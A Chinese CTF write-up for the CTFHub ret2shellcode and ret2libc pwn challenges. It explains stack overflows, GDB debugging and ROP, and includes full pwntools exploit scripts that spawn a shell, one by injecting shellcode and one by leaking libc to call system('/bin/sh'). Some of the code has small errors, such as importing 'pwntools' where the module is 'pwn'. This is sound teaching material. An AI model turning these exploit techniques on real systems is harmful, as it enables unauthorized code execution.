CTFHub-PWN
1. ret2text
略
2. ret2shellcode
0x01.基础信息分析
通过readelf -h
可看出该文件是一个AMD64
架构的elf文件。
使用checksec
也未发现栈保护机制,故栈区可执行shellcode
0x02.IDA静态分析
使用IDA pro x64进入main函数,并按F5转换成C语言代码
由于read函数会读取0x400个字节,而buf变量只有0x10个字节的空间大小,足以实现栈溢出,且无可直接利用的system
、execve
函数,故大体思路为:
- 找出ret地址并覆盖为可控地址,不过通过ida分析,buf只有0x10字节的空间大小,即16个字符,那么16+8(rbp)就是return地址;
- 自己写shellcode或通过pwntools生成;
- 确定shellcode在栈中的内存地址;
- 构造payload,并通过python实现栈溢出漏洞的利用,并获得shell;
0x03.GDB动态调试
使用gdb载入待调试文件,并以汇编形式展示main函数
在read函数的上一句先打一个断点,并开始进行动态调试,可以看到程序输出一个一个地址为0x7fffffffe400
,一会再看这个地址是干嘛用的,先看看其他调试信息。
可以看到程序停在了断点处,简单分析以下代码块的以下行指令的用意可知,read函数会从用户键盘输入读取前1024个字符,并存入buf数组中,通过计算先设置payload为'A' * 16 + 'B' * 8 + 'C' * 8
(可用cycle
快速计算),其中:
A
是任意填充数据;B
是覆盖rbp
地址;C
是覆盖函数的return
地址(call main指令的下一条指令代码,执行完main函数后,会ret并从栈中pop出给RIP,并进行执行),将其覆盖为shellcode的地址即可获得机器shell;
; Windows x64位函数调用,前四个参数是从左至右依次存放与rcx,rdx,r8,r9寄存器里,剩下的参数通过栈传递,从右至左顺序入栈
; Linux x64位函数调用,前6个参数是从左至右依次存放入rdi,rsi,rdx,rcx,r8,r9寄存器,剩下的参数通过栈传递,从右至左顺序入栈
lea rax, [rbp-0x10] ; 声明一个内存只有16个字节大小的变量,并将地址赋值给rax(64bit)寄存器,即char buf[16]
mov edx, 0x400 ; 第三个参数 1024大小
mov rsi, rax ; 第二个参数
mov edi, 0x0 ; 第一个参数
call 0x400500 ;调用read(0, &buf, 0x400h),其中0-stdin,1-stdout,2-stderr,或者FILE指针
输入AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC
后,可以看到如预期所示,RBP和RET地址都被对应在字母进行覆盖,也可以看到buf的内容在栈中的内存地址是从0x7fffffffe400
开始存储的,且RBP所指的地址也是rbp + 0x10h
和在IDA中看到的是一样的,故程序最开始输出的What is it : [0x7fffffffe400] ?
即告诉了buf变量在栈中的地址,也可确定rbp在栈中所指的地址(程序每次运行时的栈地址都是变化的,故只能通过其他方式获得rbp地址);
设buf的地址为addr
,则payload由以下结构顺序组成:
- 首先由24位的任意填充数据组成,用于填充buf和ebp的内容;
- 然后由8位地址数据覆盖返回地址,由于payload在栈中是连续内存存储的,故shellcode的地址为
addr + 16(buf内存大小) + 8(rbp内存大小) + 8(返回地址内存大小,即rbp后面的地址)
; - 根据上述思路编写py脚本,获得shell权限;
0x04.编写exp
from pwn import *
import re
context(os='linux', arch='amd64') # 运行环境设置
p = process('./pwn2') # 运行该可执行文件
# host = ''
# port = 35715
# p = connect(host=host, port=port)
offset = 24 # 设置return地址的偏移量
# 共有三句输出,分别接收
print(p.recvline()) # Welcome to CTFHub ret2shellcode!
message = p.recvline() # What is it : [0x7ffc7d1204a0] ?
# 对第二条消息进行单独处理,提取buf在栈中的地址
addr = re.findall(r'\[(.+)\]', message.decode('utf-8'))
shellcode_addr = 0x00 # shellcode执行地址
if addr:
addr = int(addr[0], base=16) # 将buf地址转化为整数型,方便计算
shellcode_addr = addr + 24 + 8 # 计算出shellcode所存放的地址
else:
ModuleNotFoundError('addr is not found!')
print(message)
print(p.recvline()) # Input someting :
print('\naddr: {}\nret_addr: {}'.format(hex(addr), hex(shellcode_addr)))
# 构造payload,其中shellcraft.sh()生成执行/bin/sh的指令,asm()将其转化为机器码
payload = b'a' * offset + p64(shellcode_addr) + asm(shellcraft.sh())
print('\n')
print(payload)
p.sendline(payload) # 发送payload
p.interactive() # 开始进行交互
运行exp即可获得shell
查看flag
3. ret2libc
0x01.基础信息分析
直接用pwngdb
的checksec
命令查看文件的栈防护策略
- RELRO 延迟绑定机制,即文件为动态编译,只有在第一次执行C语言的内置函数时,plt.got表才会绑定真实的函数地址;
- Stack 金丝雀栈保护机制,即在函数被调用后,立即在栈帧中插入一个随机数,函数执行完在返回之前,程序通过检查这个随机数是否改变来判断是否存在栈溢出;
- NX 栈不可执行机制,即栈上的数据不能当作代码来执行;
- PIE 与 ASLR 都为地址空间布局随机化,即每次运行的空间地址都是不一样的,其中PIE是在编译的时候设置,其随机化段包括数据段和代码段,ASLR是在操作系统上设置的,其随机化段包括堆、栈、mmap(libc库)、CDSO page。
调试机上已开启ALSR,程序自带NX保护,故无法在栈上写入数据执行,其实通过查看程序段的maps也能发现,栈只可读写,不可执行;
0x02.IDA静态分析
使用IDA pro x64进入main函数,按F5转换成C语言代码
由于局部变量buf只有0x90h空间大小,而read函数可往buf中写入0x100h大小的数据,故可实现栈溢出,且无可直接利用的system函数,综上分析可得大体思路为:
- 找出ret地址并覆盖为可控地址。通过ida分析,buf只有0x90h(144 bytes)大小空间,可往里写入0x100h(256 bytes)数据,故可定位ret位置为 144 + 8(rbp),这些都可填充为垃圾数据;
- 在libc.so文件中找出程序运行时的
system
函数与/bin/sh
真实地址。由于只开启了ALSR,故代码段和数据段的地址是固定的,可从ret2libc文件中找出对应的代码片段和数据控制寄存器; - 编写python脚本泄露任意一个函数的.got.plt的真实地址,即可算出libc的基址,就能获取可利用函数的真实地址,再构造payload,使其跳转到libc中执行
system("/bin/sh")
;
0x03.获取真实地址
通过内存泄漏将puts函数的真实地址打印出来,这里补充一下Linux64位调用函数约定:Linux x64位函数调用,前6个参数是从左至右依次存放入rdi,rsi,rdx,rcx,r8,r9寄存器,剩下的参数通过栈传递,从右至左顺序入栈。
故我们需要控制寄存器的值,通过ROPgadget
指令可从可执行文件中获取仅包含某些指令的代码片段地址,这里使用地址只有pop rdi; ret
的指令,即从栈中弹出一个地址放入rdi寄存器,再从栈中弹出一个地址赋值给RIP寄存器,故可构造对应的payload。
from pwntools import *
# 提取输出的地址,并进行处理
def handle_address(address):
# print('In function: ', address)
address = address.replace(b'\n', b'')
address += b'\x00' * (8 - len(address))
return u64(address)
context(os='linux', arch='amd64', log_level='info') # 将环境修改为程序运行所需要的环境
pop_rdi_ret = 0x400703 # pop rdi; ret 指令的地址
elf = ELF('./ret2libc') # 将文件载入ELF
libc = ELF("./libc.so") # 题目会给.so文件,但是本地调试需要使用本地的libc.so文件
p = process('./ret2libc') # 开启一个进程运行该文件
# 此时程序已经自动调用了puts函数,故可从got表中获取其真实地址
puts_plt = elf.plt['puts'] # 获取plt表中puts函数的地址
puts_got = elf.got['puts'] # 获取got表中puts函数的地址
start_addr = elf.symbols['_start'] # 获取程序start的地址,方便二次溢出
# 构造payload 将puts函数的真实地址弹入rdi寄存器,再调用puts函数将其真实地址输出,最后将EIP重新执行程序入口
payload = b'A' * 152 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(start_addr)
p.sendlineafter(b"hello from ctfhub\n", payload) # 发送payload
puts_real_addr = handle_address(p.recvline()) # 接收并处理 输出的puts真实地址
知道libc的基地址后,即可计算出其他函数的真实地址
libc.address = puts_real_addr - libc.symbols["puts"] # 将puts函数的真实地址 - 该函数再libc中的偏移量 = libc的基地址
# 由于已添加了libc.address基地址,故接下来从libc获取的地址都为真实地址(仅限当前进程中的)
system_addr = libc.symbols["system"] # 从libc中查找system函数的真实地址
bin_sh_addr = libc.search(b'/bin/sh').__next__() # 从libc的数据段获取真实地址
最后只需再次构造payload进行二次溢出getshell
ret = 0x4004c9 # ret指令的地址
# payload = b'A' * 152 + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr) # 原payload为这个,但由于system函数里面有movaps会检查rsp寄存器的值是否为16的倍数,故该payload无用
# 有用的payload,会额外pop出一个栈顶,即8位的rsp,后续即把/bin/sh的地址放入rdi,再调用system函数
payload = b'A' * 152 + p64(ret) + p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr)
下图为发送了第一个payload时,跟进system函数内部,发现到箭头所指的位置就无法继续下去,是因为movaps指令会检查rsp是否为16的倍数,因此RSP最后一位只能是0,故需多pop或push一次,使得RSP为16的倍数(转化成16进制即0x10)。
0x04.编写exp
整合一下上述代码代码,即可生成对应的exp,将其允许即可getshell
将exp的环境改为远程即可获得shell并查看flag